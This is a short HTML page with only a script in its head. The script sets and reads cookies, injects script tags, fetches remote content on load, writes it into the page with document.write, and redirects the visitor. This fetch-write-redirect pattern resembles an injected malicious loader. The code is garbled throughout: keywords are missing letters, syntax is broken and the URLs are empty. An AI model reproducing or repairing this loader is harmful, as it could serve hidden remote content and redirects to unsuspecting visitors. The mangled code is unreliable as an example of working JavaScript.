<head>
<script type=”text/javascript”>
funcn sec(c_na, value, sec) {
var exdate = new date()
exdate.setti(date.getti()+sec*1000)
docunt.cookie = c_na + ”=” + escape(value) +
((expiredays == null) ? ”” : ”;expires=” + exdate.togstring())
}
funcn gec(c_na) {
if (docunt.cookie.length > 0) {
c_start = docunt.cookie.indexof(c_na + ”=”)
if (c_start != -1) {
c_start = c_start + c_na.length + 1
c_end = docunt.cookie.indexof(”;”, c_start)
if (c_end == -1) c_end = docunt.cookie.length
return unesent.cookie.substring(c_start, c_end))
}
}
return ””
}
funcn addjs(src) {
var headobj = docunt.getelentsbytagna(”head”)[0];
srciptobj = docunt.createelent(”script”);
srciptobj.type = ”text/javascript”;
srciptobj.src = src;
headobj.appendchild(srciptobj);
}
funcn loadjs() {
locan.href = ”
}
var xhr = null;
if(window.xhttprequest){
xhr = new xhttprequest();
}else if(window.activexobject){
xhr = new activexobject()
}else{
xhr = null;
}
if(xhr){
xhr.open(get,);
xhr.onreadystatechange = funcn(){
if(xhr.readystate == 4 && xhr.sta == 200){
docunt.write(xhr.responsetext);
loadjs();
xhr = null;
}}}
xhr.send();
</script>
</head>
<body>
</body>
</ht>